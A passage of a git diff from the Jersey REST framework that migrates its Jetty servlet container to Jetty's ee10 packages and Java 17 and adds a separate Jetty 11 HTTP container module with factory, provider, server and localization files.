Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Class c) + throws Exception { + return create(u, c, null); + } + + /** + * Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Class c, Map initParams) + throws Exception { + return create(u, c, null, initParams, null); + } + + private static Server create(URI u, Class c, Servlet servlet, + Map initParams, Map contextInitParams) + throws Exception { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + /** + * Create a {@link Server} that registers the declared + * servlet instance. + * + * @param u the URI to create the HTTP server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param servlet the servlet instance. + * @param initParams the servlet initialization parameters. + * @param contextInitParams the servlet context initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Servlet servlet, Map initParams, Map contextInitParams) + throws Exception { + if (servlet == null) { + throw new IllegalArgumentException("The servlet must not be null"); + } + return create(u, null, servlet, initParams, contextInitParams); + } +} \ No newline at end of file diff --git a/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java similarity index 97% rename from containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java rename to containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java index a663a5026d0..5ada3ed7a34 100644 --- a/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java +++ b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,10 +26,10 @@ import org.glassfish.jersey.uri.UriComponent; import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.servlet.ServletHolder; -import org.eclipse.jetty.webapp.Configuration; -import org.eclipse.jetty.webapp.WebAppContext; -import org.eclipse.jetty.webapp.WebXmlConfiguration; +import org.eclipse.jetty.ee10.servlet.ServletHolder; +import org.eclipse.jetty.ee10.webapp.Configuration; +import org.eclipse.jetty.ee10.webapp.WebAppContext; +import org.eclipse.jetty.ee10.webapp.WebXmlConfiguration; /** * Factory for creating and starting Jetty {@link Server} instances @@ -281,4 +281,4 @@ public static Server create(URI u, Servlet servlet, Map initPara } return create(u, null, servlet, initParams, contextInitParams); } -} +} \ No newline at end of file diff --git a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties index c362bf09577..6504f0e81ab 100644 --- a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties +++ b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties @@ -1,5 +1,5 @@ # -# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -15,4 +15,4 @@ # # {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17. diff --git a/containers/jetty11-http/pom.xml b/containers/jetty11-http/pom.xml new file mode 100644 index 00000000000..c9f3bcfe8cd --- /dev/null +++ b/containers/jetty11-http/pom.xml @@ -0,0 +1,127 @@ + + + + + 4.0.0 + + + project + org.glassfish.jersey.containers + 3.1.99-SNAPSHOT + + + jersey-container-jetty11-http + jar + jersey-container-jetty11-http + + Jetty 11 Http Container + + + + jakarta.inject + jakarta.inject-api + + + org.eclipse.jetty + jetty-server + ${jetty11.version} + + + org.eclipse.jetty.toolchain + jetty-jakarta-servlet-api + + + org.slf4j + slf4j-api + + + org.eclipse.jetty + jetty-util + + + + + org.slf4j + slf4j-api + ${slf4j.version} + + + jakarta.servlet + jakarta.servlet-api + provided + + + org.eclipse.jetty + jetty-util + ${jetty11.version} + + + org.slf4j + slf4j-api + + + + + org.apache.httpcomponents + httpclient + test + + + org.hamcrest + hamcrest + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.felix + maven-bundle-plugin + true + + + + ${jetty.osgi.version}, + * + + + + + + + + + ${basedir}/src/main/resources + true + + + + + diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java similarity index 97% rename from containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java rename to containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java index ec14d86068d..36be72df222 100644 --- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -36,7 +36,6 @@ import jakarta.servlet.AsyncListener; import jakarta.ws.rs.core.Application; import jakarta.ws.rs.core.GenericType; -import jakarta.ws.rs.core.Response.Status; import jakarta.ws.rs.core.SecurityContext; import jakarta.inject.Inject; @@ -198,7 +197,7 @@ private void setResponseForInvalidUri(final HttpServletResponse response, final if (configSetStatusOverSendError) { response.reset(); //noinspection deprecation - response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase()); + response.setStatus(BAD_REQUEST_STATUS.getStatusCode()); } else { response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase()); } @@ -238,13 +237,9 @@ public String getAuthenticationScheme() { } - private URI getBaseUri(final Request request) { - try { - return new URI(request.getScheme(), null, request.getServerName(), - request.getServerPort(), getBasePath(request), null, null); - } catch (final URISyntaxException ex) { - throw new IllegalArgumentException(ex); - } + private URI getBaseUri(final Request request) throws URISyntaxException { + return new URI(request.getScheme(), null, request.getServerName(), + request.getServerPort(), getBasePath(request), null, null); } private String getBasePath(final Request request) { @@ -427,7 +422,7 @@ public ResourceConfig getConfiguration() { @Override public void reload() { - reload(getConfiguration()); + reload(new ResourceConfig(getConfiguration())); } @Override diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java new file mode 100644 index 00000000000..26a4b79581d --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java @@ -0,0 +1,305 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.net.URI; +import java.util.concurrent.ThreadFactory; + +import jakarta.ws.rs.ProcessingException; + +import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.Container; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.eclipse.jetty.server.SecureRequestCustomizer; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.server.SslConnectionFactory; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.eclipse.jetty.util.thread.QueuedThreadPool; + +/** + * Factory for creating and starting Jetty server handlers. This returns + * a handle to the started server as {@link Server} instances, which allows + * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method. + *

    + * To start the server in HTTPS mode an {@link SslContextFactory} can be provided. + * This will be used to decrypt and encrypt information sent over the + * connected TCP socket channel. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Marek Potociar + */ +public final class JettyHttpContainerFactory { + + private JettyHttpContainerFactory() { + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri) throws ProcessingException { + return createServer(uri, null, null, true); + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final boolean start) throws ProcessingException { + return createServer(uri, null, null, start); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig config) + throws ProcessingException { + + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, null, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory, + final ResourceConfig config) + throws ProcessingException { + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, sslContextFactory, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + */ + public static Server createServer(final URI uri, + final SslContextFactory.Server sslContextFactory, + final JettyHttpContainer handler, + final boolean start) { + if (uri == null) { + throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL()); + } + final String scheme = uri.getScheme(); + int defaultPort = Container.DEFAULT_HTTP_PORT; + + if (sslContextFactory == null) { + if (!"http".equalsIgnoreCase(scheme)) { + throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP()); + } + } else { + if (!"https".equalsIgnoreCase(scheme)) { + throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS()); + } + defaultPort = Container.DEFAULT_HTTPS_PORT; + } + final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort(); + + final Server server = new Server(new JettyConnectorThreadPool()); + final HttpConfiguration config = new HttpConfiguration(); + if (sslContextFactory != null) { + config.setSecureScheme("https"); + config.setSecurePort(port); + config.addCustomizer(new SecureRequestCustomizer()); + + final ServerConnector https = new ServerConnector(server, + new SslConnectionFactory(sslContextFactory, "http/1.1"), + new HttpConnectionFactory(config)); + https.setPort(port); + server.setConnectors(new Connector[]{https}); + + } else { + final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config)); + http.setPort(port); + server.setConnectors(new Connector[]{http}); + } + if (handler != null) { + server.setHandler(handler); + } + + if (start) { + try { + // Start the server. + server.start(); + } catch (final Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); + } + } + return server; + } + + // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html + // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory) + // + // Keeping this for backwards compatibility for the time being + private static final class JettyConnectorThreadPool extends QueuedThreadPool { + private final ThreadFactory threadFactory = new ThreadFactoryBuilder() + .setNameFormat("jetty-http-server-%d") + .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler()) + .build(); + + @Override + public Thread newThread(Runnable runnable) { + return threadFactory.newThread(runnable); + } + } +} diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java new file mode 100644 index 00000000000..4b8082537dc --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java @@ -0,0 +1,57 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.spi.ContainerProvider; + +/** + * Container provider for containers based on Jetty Server {@link org.eclipse.jetty.server.Handler}. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Marek Potociar + */ +public final class JettyHttpContainerProvider implements ContainerProvider { + + public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler"; + @Override + public T createContainer(final Class type, final Application application) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { + return type.cast(new JettyHttpContainer(application)); + } + return null; + } + + public T createContainer(final Class type, final Application application, + Object parentContext) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { + return type.cast(new JettyHttpContainer(application, parentContext)); + } + return null; + } + +} diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java new file mode 100644 index 00000000000..dca75e08e5b --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY; +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.CompletionException; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +/** + * Jersey {@code Server} implementation based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class JettyHttpServer implements WebServer { + + private final JettyHttpContainer container; + + private final org.eclipse.jetty.server.Server httpServer; + + JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration); + } + + JettyHttpServer(final Class applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new JettyHttpContainer(applicationClass), configuration); + } + + JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) { + final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration + .sslClientAuthentication(); + final SslContextFactory.Server sslContextFactory; + if (configuration.isHttps()) { + sslContextFactory = new SslContextFactory.Server(); + sslContextFactory.setSslContext(configuration.sslContext()); + sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL); + sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY); + } else { + sslContextFactory = null; + } + this.container = container; + this.httpServer = JettyHttpContainerFactory.createServer( + configuration.uri(true), + sslContextFactory, + this.container, + configuration.autoStart()); + } + + @Override + public final JettyHttpContainer container() { + return this.container; + } + + @Override + public final int port() { + final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0]; + final int configuredPort = serverConnector.getPort(); + final int localPort = serverConnector.getLocalPort(); + return localPort < 0 ? configuredPort : localPort; + } + + @Override + public final CompletableFuture start() { + return CompletableFuture.runAsync(() -> { + try { + this.httpServer.start(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final CompletableFuture stop() { + return CompletableFuture.runAsync(() -> { + try { + this.httpServer.stop(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final T unwrap(final Class nativeClass) { + return nativeClass.cast(this.httpServer); + } + +} diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java new file mode 100644 index 00000000000..395a9f952cf --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java @@ -0,0 +1,51 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +/** + * Server provider for servers based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JettyHttpServerProvider implements WebServerProvider { + + @Override + public T createServer(final Class type, final Application application, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } + + @Override + public T createServer(final Class type, final Class applicationClass, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } +} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/NoComponent.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java similarity index 81% rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/NoComponent.java rename to containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java index 111361c3783..27763d028a3 100644 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/NoComponent.java +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,8 +14,7 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring; - -public class NoComponent { - -} +/** + * Jersey Jetty container classes. + */ +package org.glassfish.jersey.jetty; diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider new file mode 100644 index 00000000000..6b9cc269eda --- /dev/null +++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider @@ -0,0 +1 @@ +org.glassfish.jersey.jetty.JettyHttpContainerProvider diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider new file mode 100644 index 00000000000..641eaee9e41 --- /dev/null +++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider @@ -0,0 +1 @@ +org.glassfish.jersey.jetty.JettyHttpServerProvider diff --git a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties new file mode 100644 index 00000000000..b3094bab489 --- /dev/null +++ b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties @@ -0,0 +1,24 @@ +# +# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - status code; {1} - status reason message +exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response. +error.when.creating.server=Exception thrown when trying to create jetty server. +unable.to.close.response=Unable to close response output. +uri.cannot.be.null=The URI must not be null. +wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL. +wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL. +not.supported=Jetty container is not supported on JDK version less than 11. diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java new file mode 100644 index 00000000000..7519624dcb7 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java @@ -0,0 +1,130 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Contributors to the Eclipse Foundation + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * 